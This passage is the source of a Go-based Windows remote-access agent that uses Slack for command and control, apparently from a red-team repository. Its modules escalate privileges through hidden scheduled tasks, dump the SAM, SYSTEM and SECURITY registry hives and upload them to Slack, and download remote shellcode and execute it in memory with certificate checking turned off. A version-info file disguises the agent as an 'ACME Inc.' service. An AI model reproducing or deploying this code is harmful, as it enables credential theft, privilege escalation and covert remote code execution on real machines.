16 | for i := 0; i < len; i++ {
17 | bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25
18 | }
19 | return string(bytes)
20 | }
21 |
22 | // GetSystem uses task scheduler to execute the binary as SYSTEM
23 | type GetSystem struct{}
24 |
25 | // Name is the name of the command
26 | func (g GetSystem) Name() string {
27 | return "getsystem"
28 | }
29 |
30 | // Run uses task scheduler to execute the binary as SYSTEM
31 | func (g GetSystem) Run(clientID string, jobID string, args []string) (string, error) {
32 | taskname := randomString(6)
33 | ex, err := os.Executable()
34 | if err != nil {
35 | panic(err)
36 | }
37 | exPath := filepath.Dir(ex)
38 | exName := filepath.Base(os.Args[0])
39 | exAgent := ("\"" + exPath + "\\" + exName + "\"")
40 | task1 := "schtasks /create /TN " + taskname + " /TR \"forfiles.exe /p c:\\windows\\system32 /m svchost.exe /c " + exAgent + " \" /SC DAILY /RU system /F"
41 | task2 := "schtasks /run /I /tn " + taskname
42 | task3 := "schtasks /delete /TN " + taskname + " /f"
43 | //Creates a bat file
44 | GS, err := os.Create("C:\\Users\\Public\\build.bat")
45 | if err != nil {
46 | return "", err
47 | }
48 | GS.WriteString(string(task1) + "\r\n")
49 | GS.WriteString(string(task2) + "\r\n")
50 | GS.WriteString(string(task3) + "\r\n")
51 | GS.Close()
52 | Exec := exec.Command("cmd", "/C", "C:\\Users\\Public\\build.bat")
53 | Exec.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
54 | err = Exec.Run()
55 | if err != nil {
56 | return "", err
57 | }
58 | err = os.Remove("C:\\Users\\Public\\build.bat")
59 | if err != nil {
60 | return "", err
61 | }
62 |
63 | return "Attempted to get SYSTEM", nil
64 | }
65 |
66 | func init() {
67 | command.RegisterCommand(GetSystem{})
68 | }
69 |
--------------------------------------------------------------------------------
/pkg/windows/metasploit.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "errors"
7 | "runtime"
8 |
9 | "github.com/n00py/Slackor/pkg/command"
10 | )
11 |
12 | // Metasploit retrieves shellcode and executes it
13 | type Metasploit struct{}
14 |
15 | // Name is the name of the command
16 | func (m Metasploit) Name() string {
17 | return "metasploit"
18 | }
19 |
20 | // Run retrieves shellcode and executes it
21 | func (m Metasploit) Run(clientID string, jobID string, args []string) (string, error) {
22 | if len(args) != 1 {
23 | return "", errors.New("shellcode takes 1 argument")
24 | }
25 | if runtime.GOARCH != "386" {
26 | address := args[0]
27 | err := shellcode(address, true)
28 | if err != nil {
29 | return "", err
30 | }
31 | } else {
32 | return "", errors.New("shellcode module does not work on 32-bit agents")
33 | }
34 | return "Shellcode executed.", nil
35 | }
36 |
37 | func init() {
38 | command.RegisterCommand(Metasploit{})
39 | }
40 |
--------------------------------------------------------------------------------
/pkg/windows/samdump.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "os"
7 | "os/exec"
8 | "syscall"
9 |
10 | "github.com/n00py/Slackor/internal/slack"
11 | "github.com/n00py/Slackor/pkg/command"
12 | )
13 |
14 | // SAMDump dumps the security account manager file
15 | type SAMDump struct{}
16 |
17 | // Name is the name of the command
18 | func (s SAMDump) Name() string {
19 | return "samdump"
20 | }
21 |
22 | // Run dumps the security account manager file
23 | func (s SAMDump) Run(clientID string, jobID string, args []string) (string, error) {
24 | cmdName := "cmd.exe"
25 |
26 | cmdArgs := []string{"/c", "reg.exe save HKLM\\SAM sam_" + clientID}
27 | cmd := exec.Command(cmdName, cmdArgs...)
28 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
29 | cmd.Run()
30 |
31 | cmd2Args := []string{"/c", "reg.exe save HKLM\\SYSTEM sys_" + clientID}
32 | cmd2 := exec.Command(cmdName, cmd2Args...)
33 | cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
34 | cmd2.Run()
35 |
36 | cmd3Args := []string{"/c", "reg.exe save HKLM\\SECURITY security_" + clientID}
37 | cmd3 := exec.Command(cmdName, cmd3Args...)
38 | cmd3.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
39 | cmd3.Run()
40 |
41 | slack.Upload(clientID, jobID+"-1", "sam_"+clientID)
42 | slack.Upload(clientID, jobID+"-2", "sys_"+clientID)
43 | slack.Upload(clientID, jobID+"-3", "security_"+clientID)
44 | os.Remove("sam_" + clientID)
45 | os.Remove("sys_" + clientID)
46 | os.Remove("security_" + clientID)
47 |
48 | return "SAM files uploaded.", nil
49 | }
50 |
51 | func init() {
52 | command.RegisterCommand(SAMDump{})
53 | }
54 |
--------------------------------------------------------------------------------
/pkg/windows/shellcode.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "crypto/tls"
7 | "errors"
8 | "io/ioutil"
9 | "math/rand"
10 | "net/http"
11 | "os"
12 | "runtime"
13 | "strings"
14 | "syscall"
15 | "time"
16 | "unsafe"
17 |
18 | "github.com/n00py/Slackor/internal/config"
19 | "github.com/n00py/Slackor/pkg/command"
20 | )
21 |
22 | func calculateChecksum(Length int) string { //Creates a checksum, used for metasploit
23 | for {
24 | rand.Seed(time.Now().UTC().UnixNano())
25 | var Checksum string
26 | var RandString string
27 | for len(RandString) < Length {
28 | Temp := rand.Intn(4)
29 | if Temp == 1 {
30 | RandString += string(48 + rand.Intn(57-48))
31 | } else if Temp == 1 {
32 | RandString += string(65 + rand.Intn(90-65))
33 | } else if Temp == 3 {
34 | RandString += string(97 + rand.Intn(122-97))
35 | }
36 | Checksum = RandString
37 | }
38 | var Temp2 int = 0
39 | for i := 0; i < len(Checksum); i++ {
40 | Temp2 += int(Checksum[i])
41 | }
42 | if (Temp2 % 0x100) == 92 {
43 | return Checksum
44 | }
45 | }
46 | }
47 |
48 | // Initiates an HTTPS request to pull shellcode and execute it
49 | func shellcode(address string, metasploit bool) error {
50 | const (
51 | MEM_COMMIT = 0x1000
52 | MEM_RESERVE = 0x2000
53 | PAGE_EXECUTE_READWRITE = 0x40
54 | )
55 |
56 | var (
57 | kernel32 = syscall.MustLoadDLL("kernel32.dll")
58 | ntdll = syscall.MustLoadDLL("ntdll.dll")
59 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
60 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
61 | )
62 | if metasploit {
63 | Checksum := calculateChecksum(12)
64 | address += Checksum
65 | }
66 |
67 | http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
68 |
69 | client := &http.Client{}
70 | req, err := http.NewRequest("GET", address, nil)
71 | if err != nil {
72 | return err
73 | }
74 | if strings.Contains(address, "slack.com") {
75 | req.Header.Set("Authorization", "Bearer "+config.Token)
76 | }
77 | Response, err := client.Do(req)
78 | if err != nil {
79 | return err
80 | }
81 | shellcode, _ := ioutil.ReadAll(Response.Body)
82 | if len(os.Args) > 1 {
83 | shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
84 | if err != nil {
85 | return err
86 | }
87 | shellcode = shellcodeFileData
88 | }
89 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
90 | if addr == 0 {
91 | return errors.New("can't allocate memory")
92 | }
93 | if err != nil {
94 | return err
95 | }
96 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
97 | if err != nil {
98 | return err
99 | }
100 | syscall.Syscall(addr, 0, 0, 0, 0)
101 | return nil
102 | }
103 |
104 | // Shellcode retrieves shellcode and executes it
105 | type Shellcode struct{}
106 |
107 | // Name is the name of the command
108 | func (s Shellcode) Name() string {
109 | return "shellcode"
110 | }
111 |
112 | // Run retrieves shellcode and executes it
113 | func (s Shellcode) Run(clientID string, jobID string, args []string) (string, error) {
114 | if len(args) != 1 {
115 | return "", errors.New("shellcode takes 1 argument")
116 | }
117 | if runtime.GOARCH != "386" {
118 | address := args[0]
119 | err := shellcode(address, false)
120 | if err != nil {
121 | return "", err
122 | }
123 | } else {
124 | return "", errors.New("shellcode module does not work on 32-bit agents")
125 | }
126 | return "Shellcode executed.", nil
127 | }
128 |
129 | func init() {
130 | command.RegisterCommand(Shellcode{})
131 | }
132 |
--------------------------------------------------------------------------------
/pkg/windows/sysinfo.go:
--------------------------------------------------------------------------------
1 | package windows
2 |
3 | import (
4 | "runtime"
5 | "strconv"
6 |
7 | "github.com/n00py/Slackor/pkg/command"
8 | )
9 |
10 | func hostname() string {
11 | hostnameCmd := command.GetCommand("hostname")
12 | if hostnameCmd != nil {
13 | result, _ := hostnameCmd.Run("", "", []string{})
14 | if result != "" {
15 | return result
16 | }
17 | return "Hostname error"
18 | }
19 | return "Hostname unavailable"
20 | }
21 |
22 | func whoami() string {
23 | whoamiCmd := command.GetCommand("whoami")
24 | if whoamiCmd != nil {
25 | result, _ := whoamiCmd.Run("", "", []string{})
26 | if result != "" {
27 | return result
28 | }
29 | return "User ID error"
30 | }
31 | return "User ID unavailable"
32 | }
33 |
34 | func getVersion() string {
35 | versionCmd := command.GetCommand("version")
36 | if versionCmd != nil {
37 | result, _ := versionCmd.Run("", "", []string{})
38 | if result != "" {
39 | return result
40 | }
41 | return "OS versioning error"
42 | }
43 | return "OS versioning unavailable"
44 | }
45 |
46 | // SysInfo dumps general system info
47 | type SysInfo struct{}
48 |
49 | // Name is the name of the command
50 | func (s SysInfo) Name() string {
51 | return "sysinfo"
52 | }
53 |
54 | // Run dumps general system info
55 | func (s SysInfo) Run(clientID string, jobID string, args []string) (string, error) {
56 | stringy := "Hostname : " + hostname() + "\nCurrent User : " + whoami() +
57 | "\nOS Version : " + getVersion() + "\nGo Environment : " +
58 | string(runtime.GOARCH) + "\nCPU cores : " + strconv.Itoa(int(runtime.NumCPU()))
59 | return stringy, nil
60 | }
61 |
62 | func init() {
63 | command.RegisterCommand(SysInfo{})
64 | }
65 |
--------------------------------------------------------------------------------
/pkg/windows/version.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "syscall"
8 |
9 | "github.com/n00py/Slackor/internal/config"
10 | "github.com/n00py/Slackor/pkg/command"
11 | )
12 |
13 | // Version gets the OS version
14 | type Version struct{}
15 |
16 | // Name is the name of the command
17 | func (ver Version) Name() string {
18 | return "version"
19 | }
20 |
21 | // Run gets the OS version
22 | func (ver Version) Run(clientID string, jobID string, args []string) (string, error) {
23 | if config.OSVersion != "" {
24 | return config.OSVersion, nil
25 | }
26 | dll := syscall.MustLoadDLL("kernel32.dll")
27 | p := dll.MustFindProc("GetVersion")
28 | v, _, _ := p.Call()
29 | version := fmt.Sprintf("Windows version %d.%d (Build %d)", byte(v), uint8(v>>8), uint16(v>>16))
30 | config.OSVersion = version
31 | return config.OSVersion, nil
32 | }
33 |
34 | func init() {
35 | command.RegisterCommand(Version{})
36 | }
37 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | pycrypto
2 | requests
3 | prettytable
4 | pypykatz
5 |
--------------------------------------------------------------------------------
/versioninfo.example.json:
--------------------------------------------------------------------------------
1 |
2 | {
3 | "FixedFileInfo": {
4 | "FileVersion": {
5 | "Major": 1,
6 | "Minor": 7,
7 | "Patch": 13,
8 | "Build": 5491
9 | },
10 | "ProductVersion": {
11 | "Major": 1,
12 | "Minor": 7,
13 | "Patch": 13,
14 | "Build": 5491
15 | },
16 | "FileFlagsMask": "3f",
17 | "FileFlags ": "00",
18 | "FileOS": "040004",
19 | "FileType": "01",
20 | "FileSubType": "00"
21 | },
22 | "StringFileInfo": {
23 | "Comments": "",
24 | "CompanyName": "ACME Inc.",
25 | "FileDescription": "Agent Service",
26 | "FileVersion": "1.7.13.5491",
27 | "InternalName": "Agent",
28 | "LegalCopyright": "© Copyright 2019 ACME Inc. All Rights Reserved.",
29 | "LegalTrademarks": "",
30 | "OriginalFilename": "agent.exe",
31 | "PrivateBuild": "",
32 | "ProductName": "Agent",
33 | "ProductVersion": "1.7.13.5491",
34 | "SpecialBuild": ""
35 | },
36 | "VarFileInfo": {
37 | "Translation": {
38 | "LangID": "0409",
39 | "CharsetID": "04B0"
40 | }
41 | },
42 | "IconPath": "",
43 | "ManifestPath": ""
44 | }
45 |
--------------------------------------------------------------------------------
/versioninfo.example.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
9 |
10 |
11 |
12 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------